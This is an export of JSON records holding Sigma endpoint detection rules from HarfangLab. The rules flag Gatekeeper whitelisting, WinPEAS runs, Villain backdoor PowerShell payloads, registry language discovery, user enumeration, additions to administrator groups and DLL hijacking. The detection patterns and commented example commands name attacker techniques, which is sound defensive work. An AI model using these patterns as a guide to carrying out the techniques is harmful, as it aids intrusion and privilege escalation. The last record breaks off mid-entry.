+  "content": "title: Gatekeeper Whitelist Added\nid: 78e70aaa-2977-414b-a2be-47a4f46026bb\ndescription: |\n    Detects the execution of spctl to add a whitelist to Apple Gatekeeper.\n    Apple Gatekeeper is a mechanism that ensures that software comes from trusted developers, is notarized by Apple as malware-free, and remains unaltered.\n    Apple Gatekeeper also requests user approval before opening downloaded software for the first time.\n    It is recommended to investigate the process that added the Apple Gatekeeper whitelist and the whitelisted program to determine if this action was legitimate.\nreferences:\n    - https://book.hacktricks.xyz/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-gatekeeper\n    - https://support.apple.com/fr-fr/guide/security/sec5599b66df/web\n    - https://attack.mitre.org/techniques/T1562/001/\ndate: 2024/05/03\nmodified: 2025/01/20\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1562.001\n    - classification.macOS.Source.ProcessCreation\n    - classification.macOS.Behavior.DefenseEvasion\n    - classification.macOS.LOLBin.Spctl\n    - classification.macOS.Behavior.ImpairDefenses\nlogsource:\n    category: process_creation\n    product: macos\ndetection:\n    selection:\n        Image: '/usr/sbin/spctl'\n        CommandLine|contains|all:\n            - '--enable'\n            - '--tag'\n\n    condition: selection\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "78e70aaa-2977-414b-a2be-47a4f46026bb",
+  "rule_name": "Gatekeeper Whitelist Added",
+  "rule_description": "Detects the execution of spctl to add a whitelist to Apple Gatekeeper.\nApple Gatekeeper is a mechanism that ensures that software comes from trusted developers, is notarized by Apple as malware-free, and remains unaltered.\nApple Gatekeeper also requests user approval before opening downloaded software for the first time.\nIt is recommended to investigate the process that added the Apple Gatekeeper whitelist and the whitelisted program to determine if this action was legitimate.\n",
+  "rule_creation_date": "2024-05-03",
+  "rule_modified_date": "2025-01-20",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1562.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "7904081b-0c28-43d6-9af7-29d3f8704057",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.606188Z",
+  "creation_date": "2026-03-23T11:45:34.606194Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.606203Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS",
+    "https://attack.mitre.org/techniques/T1082/",
+    "https://attack.mitre.org/techniques/T1592/",
+    "https://attack.mitre.org/tactics/TA0004/"
+  ],
+  "name": "t1082_launch_winpeas.yml",
+  "content": "title: WinPEAS HackTool Executed\nid: 7904081b-0c28-43d6-9af7-29d3f8704057\ndescription: |\n    Detects the execution of WinPEAS (Windows Privilege Escalation Awesome Scripts) enumeration tool.\n    WinPEAS is a tool used in post-exploitation phases to automatically discover privilege escalation vectors through misconfigurations, vulnerable services, and sensitive credential files.\n    Unless this is part of an authorized security assessment, investigate the user context and look for subsequent privilege escalation attempts.\nreferences:\n    - https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS\n    - https://attack.mitre.org/techniques/T1082/\n    - https://attack.mitre.org/techniques/T1592/\n    - https://attack.mitre.org/tactics/TA0004/\ndate: 2022/10/19\nmodified: 2025/03/31\nauthor: HarfangLab\ntags:\n    - attack.discovery\n    - attack.t1082\n    - attack.reconnaissance\n    - attack.t1592.001\n    - attack.t1592.002\n    - attack.t1592.004\n    - attack.privilege_escalation\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.HackTool.WinPEAS\n    - classification.Windows.Behavior.PrivilegeEscalation\n    - classification.Windows.Behavior.Discovery\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        - Image|endswith: '\\WinPEAS*.exe'\n        - OriginalFileName: 'WinPEAS*.exe'\n\n    condition: selection\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "7904081b-0c28-43d6-9af7-29d3f8704057",
+  "rule_name": "WinPEAS HackTool Executed",
+  "rule_description": "Detects the execution of WinPEAS (Windows Privilege Escalation Awesome Scripts) enumeration tool.\nWinPEAS is a tool used in post-exploitation phases to automatically discover privilege escalation vectors through misconfigurations, vulnerable services, and sensitive credential files.\nUnless this is part of an authorized security assessment, investigate the user context and look for subsequent privilege escalation attempts.\n",
+  "rule_creation_date": "2022-10-19",
+  "rule_modified_date": "2025-03-31",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.discovery",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1082",
+    "attack.t1592.001",
+    "attack.t1592.002",
+    "attack.t1592.004"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "791a287c-44d9-4e49-bc5c-4b5c179c21c1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.084578Z",
+  "creation_date": "2026-03-23T11:45:34.084580Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.084584Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/t3l3machus/Villain",
+    "https://attack.mitre.org/techniques/T1059/001/",
+    "https://attack.mitre.org/techniques/T1132/001/"
+  ],
+  "name": "t1059_001_powershell_villain_backdoor.yml",
+  "content": "title: Suspicious PowerShell Command linked to Villain\nid: 791a287c-44d9-4e49-bc5c-4b5c179c21c1\ndescription: |\n    Detects PowerShell commands executing a Villain framework payload.\n    Villain is a Windows & Linux backdoor generator and multi-session handler.\n    The framework allows attackers to instantiate shells and control other machines running Villain in the network.\n    It is recommended to investigate PowerShell logs, terminate affected processes and isolate compromised hosts.\nreferences:\n    - https://github.com/t3l3machus/Villain\n    - https://attack.mitre.org/techniques/T1059/001/\n    - https://attack.mitre.org/techniques/T1132/001/\ndate: 2022/12/06\nmodified: 2025/01/16\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1059.001\n    - attack.t1132.001\n    - classification.Windows.Source.PowerShellEvent\n    - classification.Windows.Script.PowerShell\n    - classification.Windows.Framework.Villain\nlogsource:\n    product: windows\n    category: powershell_event\ndetection:\n    selection:\n        PowershellCommand|contains|all:\n            - '$env:COMPUTERNAME'\n            - '$env:USERNAME'\n            - '-Method POST'\n            - 'Headers @{Authorization=$*}'\n            - 'UTF8.GetBytes($*+$*) -join'\n            - '-Ur? $*$*/'\n    condition: selection\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "791a287c-44d9-4e49-bc5c-4b5c179c21c1",
+  "rule_name": "Suspicious PowerShell Command linked to Villain",
+  "rule_description": "Detects PowerShell commands executing a Villain framework payload.\nVillain is a Windows & Linux backdoor generator and multi-session handler.\nThe framework allows attackers to instantiate shells and control other machines running Villain in the network.\nIt is recommended to investigate PowerShell logs, terminate affected processes and isolate compromised hosts.\n",
+  "rule_creation_date": "2022-12-06",
+  "rule_modified_date": "2025-01-16",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1059.001",
+    "attack.t1132.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "791dc1ad-1617-4926-90cc-51f57089c4ae",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.605419Z",
+  "creation_date": "2026-03-23T11:45:34.605422Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.605430Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/redcanaryco/atomic-red-team/blob/09cef802316c0db576963b2742b506a9f274f4ae/atomics/T1614.001/T1614.001.md",
+    "https://attack.mitre.org/techniques/T1614/001/"
+  ],
+  "name": "t1614_001_system_language_discovery_registry.yml",
+  "content": "title: System Language Discovered in Registry\nid: 791dc1ad-1617-4926-90cc-51f57089c4ae\ndescription: |\n    Detects the identification of system language by querying the registry.\n    Adversaries may attempt to gather information about the system language of a victim in order to infer the geographical location of that host.\n    Detects the identification of the system's default language by querying the registry.\n    Adversaries may attempt to gather information about a victim's default language to infer the geographical location of that host.\n    It is recommended to investigate the parent process for suspicious activities.\nreferences:\n    - https://github.com/redcanaryco/atomic-red-team/blob/09cef802316c0db576963b2742b506a9f274f4ae/atomics/T1614.001/T1614.001.md\n    - https://attack.mitre.org/techniques/T1614/001/\ndate: 2022/12/23\nmodified: 2025/04/08\nauthor: HarfangLab\ntags:\n    - attack.discovery\n    - attack.t1614.001\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.Discovery\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_reg_bin:\n        - Image|endswith: '\\reg.exe'\n        - OriginalFileName: 'reg.exe'\n\n    selection_commandline:\n        CommandLine|contains|all:\n            - 'query'\n            # HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Nls\\Language\n            - '\\Control\\Nls\\Language'\n\n    filter_installlanguage:\n        CommandLine|contains: '/v InstallLanguage'\n\n    exclusion_programfiles:\n        ProcessParentImage:\n            - '?:\\Windows\\System32\\cmd.exe'\n            - '?:\\Windows\\SysWOW64\\cmd.exe'\n        ProcessGrandparentImage|startswith:\n            - '?:\\Program Files\\'\n            - '?:\\Program Files (x86)\\'\n\n    exclusion_launchpad:\n        ProcessGrandparentImage|endswith:\n            - '\\launchpad.exe'\n            - '\\launchpad64.exe'\n        ProcessGrandparentProduct: 'IBM Program Launcher'\n\n    condition: all of selection_* and not 1 of filter_* and not 1 of exclusion_*\nlevel: medium\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "791dc1ad-1617-4926-90cc-51f57089c4ae",
+  "rule_name": "System Language Discovered in Registry",
+  "rule_description": "Detects the identification of system language by querying the registry.\nAdversaries may attempt to gather information about the system language of a victim in order to infer the geographical location of that host.\nDetects the identification of the system's default language by querying the registry.\nAdversaries may attempt to gather information about a victim's default language to infer the geographical location of that host.\nIt is recommended to investigate the parent process for suspicious activities.\n",
+  "rule_creation_date": "2022-12-23",
+  "rule_modified_date": "2025-04-08",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1614.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "797363ca-0ede-4edd-b4bf-67f74a6b356e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "low",
+  "rule_effective_confidence": "weak",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.619688Z",
+  "creation_date": "2026-03-23T11:45:34.619690Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.619694Z",
+  "rule_level": "low",
+  "rule_confidence": "weak",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1033/",
+    "https://attack.mitre.org/techniques/T1087/001/"
+  ],
+  "name": "t1033_users_macos.yml",
+  "content": "title: Users Listed via Users Command\nid: 797363ca-0ede-4edd-b4bf-67f74a6b356e\ndescription: |\n    Detects the execution of the users command.\n    Attackers may use it during the discovery phase of an attack to retrieve the list of existing users.\n    It is recommended to check for other suspicious activity by the parent process.\nreferences:\n    - https://attack.mitre.org/techniques/T1033/\n    - https://attack.mitre.org/techniques/T1087/001/\ndate: 2022/11/14\nmodified: 2026/02/11\nauthor: HarfangLab\ntags:\n    - attack.discovery\n    - attack.t1033\n    - attack.t1087.001\n    - classification.macOS.Source.ProcessCreation\n    - classification.macOS.Behavior.Discovery\nlogsource:\n    category: process_creation\n    product: macos\ndetection:\n    selection:\n        Image: '/usr/bin/users'\n        ParentImage|contains: '?'\n\n    exclusion_intunes:\n        ParentImage: '/Library/Intune/Microsoft Intune Agent.app/Contents/MacOS/IntuneMdmDaemon'\n\n    exclusion_interactive_sh:\n        ParentImage: '/bin/bash'\n        ParentCommandLine: '/bin/sh'\n\n    exclusion_ivantie:\n        ParentImage: '/usr/local/com.ivanti.cloud.agent/IvantiAgent/Engines/UNO.AUTOMATION.ENGINEMAC64/AutomationEngine'\n\n    exclusion_globalprotect:\n        ParentImage: '/Applications/GlobalProtect.app/Contents/Resources/PanGpHip'\n\n    exclusion_withsecur:\n        ParentImage: '/Library/WithSecure/bin/wsswupd.xpc/Contents/MacOS/wsswupd'\n\n    exclusion_xpc:\n        GrandparentImage: '/System/Library/PrivateFrameworks/PackageKit.framework/Versions/A/XPCServices/package_script_service.xpc/Contents/MacOS/package_script_service'\n\n    exclusion_intune:\n        GrandparentImage: '/Library/Intune/Microsoft Intune Agent.app/Contents/MacOS/IntuneMdmDaemon'\n\n    exclusion_pulsesecure:\n        GrandparentCommandLine: '/bin/sh /Library/Application Support/Pulse Secure/Pulse/Uninstall.app/Contents/Resources/uninstaller'\n\n    condition: selection and not 1 of exclusion_*\nlevel: low\nconfidence: weak\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "797363ca-0ede-4edd-b4bf-67f74a6b356e",
+  "rule_name": "Users Listed via Users Command",
+  "rule_description": "Detects the execution of the users command.\nAttackers may use it during the discovery phase of an attack to retrieve the list of existing users.\nIt is recommended to check for other suspicious activity by the parent process.\n",
+  "rule_creation_date": "2022-11-14",
+  "rule_modified_date": "2026-02-11",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1033",
+    "attack.t1087.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "797b2aff-faa6-4227-9ced-54959b8f6c2c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.621509Z",
+  "creation_date": "2026-03-23T11:45:34.621511Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.621516Z",
+  "rule_level": "high",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://thedfirreport.com/2024/01/29/buzzing-on-christmas-eve-trigona-ransomware-in-3-hours/",
+    "https://attack.mitre.org/techniques/T1078",
+    "https://attack.mitre.org/techniques/T1098"
+  ],
+  "name": "t1078_net_administrators_add.yml",
+  "content": "title: User Added to the Administrators Group\nid: 797b2aff-faa6-4227-9ced-54959b8f6c2c\ndescription: |\n    Detects the execution of net.exe to add user to the administrators group.\n    This is often used by attackers to evade defense and keep persistence via an 'administrators' account.\n    It is recommended to investigate, with the help of the process tree, the context of this action to determine its legitimacy.\nreferences:\n    - https://thedfirreport.com/2024/01/29/buzzing-on-christmas-eve-trigona-ransomware-in-3-hours/\n    - https://attack.mitre.org/techniques/T1078\n    - https://attack.mitre.org/techniques/T1098\ndate: 2021/04/28\nmodified: 2026/03/16\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1078\n    - attack.t1098\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.AccountManipulation\n    - classification.Windows.Behavior.Persistence\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    # net localgroup administrators\n    # net group \"domain admins\" /add\n    selection_bin:\n        - Image|endswith: '\\net1.exe'\n        # Renamed binaries\n        - OriginalFileName: 'net1.exe'\n    selection_cmd1:\n        CommandLine|contains:\n            - ' localgroup '\n            - ' group '\n            - ' groups '\n    selection_cmd2:\n        # matches administrators, administrateurs, domain admin, ...\n        CommandLine|contains: 'admin'\n    selection_cmd3:\n        CommandLine|contains:\n            - '/add'\n            - '\\add'\n\n    exclusion_programfiles:\n        ProcessAncestors|contains:\n            - '\\cmd.exe|?:\\Program Files\\'\n            - '\\cmd.exe|?:\\Program Files (x86)\\'\n            - '\\powershell.exe|?:\\Program Files\\'\n            - '\\powershell.exe|?:\\Program Files (x86)\\'\n            - '\\net.exe|?:\\Program Files\\'\n            - '\\net.exe|?:\\Program Files (x86)\\'\n\n    exclusion_template_gpscript:\n        ProcessAncestors|contains: '?:\\Windows\\System32\\gpscript.exe|?:\\Windows\\System32\\svchost.exe'\n\n    exclusion_ancestors:\n        ProcessAncestors|contains:\n            - '\\cmd.exe|?:\\Windows\\AdminArsenal\\PDQDeployRunner\\'\n            - '?:\\Windows\\System32\\net.exe|?:\\Windows\\System32\\cmd.exe|?:\\MININT\\Tools\\X64\\TsManager.exe|'\n\n    exclusion_openvpn:\n        CommandLine|contains: 'OpenVPN Administrators' #  C:\\WINDOWS\\system32\\net1 localgroup \"OpenVPN Administrators\" \"user\" /add\n\n    exclusion_ipam:\n        # powershell.exe -Executionpolicy bypass -file \\\\xxxxSYSVOL\\xxxx\\Policies\\{5b6c301d-0b7a-4680-ae55-73a1da6c7fb0}\\Machine\\Scripts\\Startup\\ipamprovisioning.ps1 DNS IPAMUG@xxxxx S-1-5-21-746137067-436374069-1708511111-22222\n        ProcessGrandparentCommandLine|contains|all:\n            - 'ipamprovisioning.ps1'\n            - 'IPAMUG@'\n        # C:\\Windows\\system32\\net1 localgroup Administrateurs /add IPAMUG@xxxxx\n        # C:\\Windows\\system32\\net1 localgroup DnsAdmins /add IPAMUG@xxxxxx\n        ProcessCommandLine|contains|all:\n            - 'net1 localgroup '\n            - '/add IPAMUG@'\n\n    condition: all of selection_* and not 1 of exclusion_*\nlevel: high\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "797b2aff-faa6-4227-9ced-54959b8f6c2c",
+  "rule_name": "User Added to the Administrators Group",
+  "rule_description": "Detects the execution of net.exe to add user to the administrators group.\nThis is often used by attackers to evade defense and keep persistence via an 'administrators' account.\nIt is recommended to investigate, with the help of the process tree, the context of this action to determine its legitimacy.\n",
+  "rule_creation_date": "2021-04-28",
+  "rule_modified_date": "2026-03-16",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1078",
+    "attack.t1098"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "798ca376-4cbf-466a-8b6f-3522cf77558e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.097080Z",
+  "creation_date": "2026-03-23T11:45:34.097082Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.097087Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://github.com/xforcered/WFH",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_change.yml",
+  "content": "title: DLL Hijacking via change.exe\nid: 798ca376-4cbf-466a-8b6f-3522cf77558e\ndescription: |\n    Detects potential Windows DLL Hijacking via change.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://github.com/xforcered/WFH\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'change.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\logoncli.dll'\n            - '\\netutils.dll'\n            - '\\regapi.dll'\n            - '\\samcli.dll'\n            - '\\srvcli.dll'\n            - '\\utildll.dll'\n            - '\\WINSTA.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "798ca376-4cbf-466a-8b6f-3522cf77558e",
+  "rule_name": "DLL Hijacking via change.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via change.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "798d887e-cd4b-4b6d-8d33-a6fb2f774b7e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.096456Z",
+  "creation_date": "2026-03-23T11:45:34.096458Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.096462Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_fhmanagew.yml",
+  "content": "title: DLL Hijacking via fhmanagew.exe\nid: 798d887e-cd4b-4b6d-8d33-a6fb2f774b7e\ndescription: |\n    Detects potential Windows DLL Hijacking via fhmanagew.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - 